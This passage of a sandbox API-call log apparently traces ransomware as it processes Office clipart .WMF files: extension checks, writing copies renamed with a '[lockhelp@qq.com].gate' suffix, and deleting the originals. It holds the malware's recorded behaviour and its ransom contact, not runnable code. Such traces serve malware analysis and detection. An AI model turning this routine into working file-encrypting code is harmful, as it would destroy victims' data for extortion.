4 [0303.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.821] lstrlenW (lpString=".rar") returned 4 [0303.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.821] lstrlenW (lpString=".bz2") returned 4 [0303.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.821] lstrlenW (lpString=".7z") returned 3 [0303.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.821] lstrlenW (lpString=".dbf") returned 4 [0303.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.821] lstrlenW (lpString=".1cd") returned 4 [0303.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0303.821] lstrlenW (lpString=".jpg") returned 4 [0303.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.828] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2832) returned 1 [0303.828] CloseHandle (hObject=0x52c) returned 1 [0303.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0303.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0303.829] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.830] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0303.830] GetLastError () returned 0x0 [0303.830] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xb10, lpOverlapped=0x0) returned 1 [0303.893] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xb20, lpOverlapped=0x0) returned 1 [0303.895] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.895] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0303.895] SetEndOfFile (hFile=0x4f8) returned 1 [0303.895] CloseHandle (hObject=0x4f8) returned 1 [0303.895] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.895] SetEndOfFile (hFile=0x52c) returned 1 [0303.898] CloseHandle (hObject=0x52c) returned 1 [0303.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0303.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0303.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.899] lstrlenW (lpString=".doc") returned 4 [0303.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0303.899] lstrlenW (lpString=".docx") returned 5 [0303.899] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0303.899] lstrlenW (lpString=".pdf") returned 4 [0303.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0303.899] lstrlenW (lpString=".xls") returned 4 [0303.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0303.900] lstrlenW (lpString=".xlsx") returned 5 [0303.900] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0303.900] lstrlenW (lpString=".ppt") returned 4 [0303.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.900] lstrlenW (lpString=".zip") returned 4 [0303.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0303.900] lstrlenW (lpString=".rar") returned 4 [0303.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0303.900] lstrlenW (lpString=".bz2") returned 4 [0303.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0303.900] lstrlenW (lpString=".7z") returned 3 [0303.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.900] lstrlenW (lpString=".dbf") returned 4 [0303.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.900] lstrlenW (lpString=".1cd") returned 4 [0303.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0303.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF") returned 68 [0303.900] lstrlenW (lpString=".jpg") returned 4 [0303.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0303.901] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=792) returned 1 [0303.901] CloseHandle (hObject=0x52c) returned 1 [0303.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0303.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0303.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0303.901] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.901] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0303.902] GetLastError () returned 0x0 [0303.902] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x318, lpOverlapped=0x0) returned 1 [0305.009] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x320, lpOverlapped=0x0) returned 1 [0305.011] ReadFile (in: hFile=0x52c, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.011] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.011] SetEndOfFile (hFile=0x4f8) returned 1 [0305.355] CloseHandle (hObject=0x4f8) returned 1 [0305.355] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.355] SetEndOfFile (hFile=0x52c) returned 1 [0305.360] CloseHandle (hObject=0x52c) returned 1 [0305.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0305.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0305.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0305.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0305.697] lstrlenW (lpString=".doc") returned 4 [0305.697] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0305.697] lstrlenW (lpString=".docx") returned 5 [0305.697] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0305.697] lstrlenW (lpString=".pdf") returned 4 [0305.697] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0305.697] lstrlenW (lpString=".xls") returned 4 [0305.697] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0305.697] lstrlenW (lpString=".xlsx") returned 5 [0305.697] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0305.697] lstrlenW (lpString=".ppt") returned 4 [0305.697] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0305.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0305.697] lstrlenW (lpString=".zip") returned 4 [0305.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0305.697] lstrlenW (lpString=".rar") returned 4 [0305.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0305.697] lstrlenW (lpString=".bz2") returned 4 [0305.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0305.697] lstrlenW (lpString=".7z") returned 3 [0305.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0305.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0305.697] lstrlenW (lpString=".dbf") returned 4 [0305.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0305.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0305.698] lstrlenW (lpString=".1cd") returned 4 [0305.698] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0305.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 68 [0305.698] lstrlenW (lpString=".jpg") returned 4 [0305.698] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0305.699] GetFileSizeEx (in: hFile=0x4f8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1892) returned 1 [0305.699] CloseHandle (hObject=0x4f8) returned 1 [0305.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0305.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0305.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0305.708] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.708] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0305.709] GetLastError () returned 0x0 [0305.709] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x764, lpOverlapped=0x0) returned 1 [0305.814] WriteFile (in: hFile=0x528, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x770, lpOverlapped=0x0) returned 1 [0305.816] ReadFile (in: hFile=0x4f8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0305.816] WriteFile (in: hFile=0x528, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0305.816] SetEndOfFile (hFile=0x528) returned 1 [0305.816] CloseHandle (hObject=0x528) returned 1 [0305.816] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0305.816] SetEndOfFile (hFile=0x4f8) returned 1 [0305.880] CloseHandle (hObject=0x4f8) returned 1 [0305.880] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0306.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0306.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0306.412] lstrlenW (lpString=".doc") returned 4 [0306.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.412] lstrlenW (lpString=".docx") returned 5 [0306.412] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0306.412] lstrlenW (lpString=".pdf") returned 4 [0306.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.412] lstrlenW (lpString=".xls") returned 4 [0306.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.412] lstrlenW (lpString=".xlsx") returned 5 [0306.412] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0306.412] lstrlenW (lpString=".ppt") returned 4 [0306.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0306.412] lstrlenW (lpString=".zip") returned 4 [0306.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.412] lstrlenW (lpString=".rar") returned 4 [0306.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.412] lstrlenW (lpString=".bz2") returned 4 [0306.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.412] lstrlenW (lpString=".7z") returned 3 [0306.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0306.412] lstrlenW (lpString=".dbf") returned 4 [0306.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0306.413] lstrlenW (lpString=".1cd") returned 4 [0306.413] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0306.413] lstrlenW (lpString=".jpg") returned 4 [0306.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0306.790] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.790] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0306.792] GetLastError () returned 0x0 [0306.792] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0306.911] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0306.913] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0306.913] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0306.913] SetEndOfFile (hFile=0x4f8) returned 1 [0306.913] CloseHandle (hObject=0x4f8) returned 1 [0306.913] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.913] SetEndOfFile (hFile=0x4f0) returned 1 [0306.917] CloseHandle (hObject=0x4f0) returned 1 [0306.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0306.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0306.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0306.918] lstrlenW (lpString=".doc") returned 4 [0306.918] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0306.918] lstrlenW (lpString=".docx") returned 5 [0306.918] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0306.918] lstrlenW (lpString=".pdf") returned 4 [0306.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0306.919] lstrlenW (lpString=".xls") returned 4 [0306.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0306.919] lstrlenW (lpString=".xlsx") returned 5 [0306.919] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0306.919] lstrlenW (lpString=".ppt") returned 4 [0306.919] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0306.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0306.919] lstrlenW (lpString=".zip") returned 4 [0306.919] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0306.919] lstrlenW (lpString=".rar") returned 4 [0306.919] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0306.919] lstrlenW (lpString=".bz2") returned 4 [0306.919] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0306.919] lstrlenW (lpString=".7z") returned 3 [0306.919] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0306.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0306.919] lstrlenW (lpString=".dbf") returned 4 [0306.919] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0306.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0306.919] lstrlenW (lpString=".1cd") returned 4 [0306.919] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0306.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0306.919] lstrlenW (lpString=".jpg") returned 4 [0306.919] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0306.920] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9734) returned 1 [0306.920] CloseHandle (hObject=0x4f0) returned 1 [0306.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0306.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0306.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0306.921] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.921] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0306.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0306.922] GetLastError () returned 0x0 [0306.922] ReadFile (in: hFile=0x4f0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2606, lpOverlapped=0x0) returned 1 [0306.988] WriteFile (in: hFile=0x4f8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, 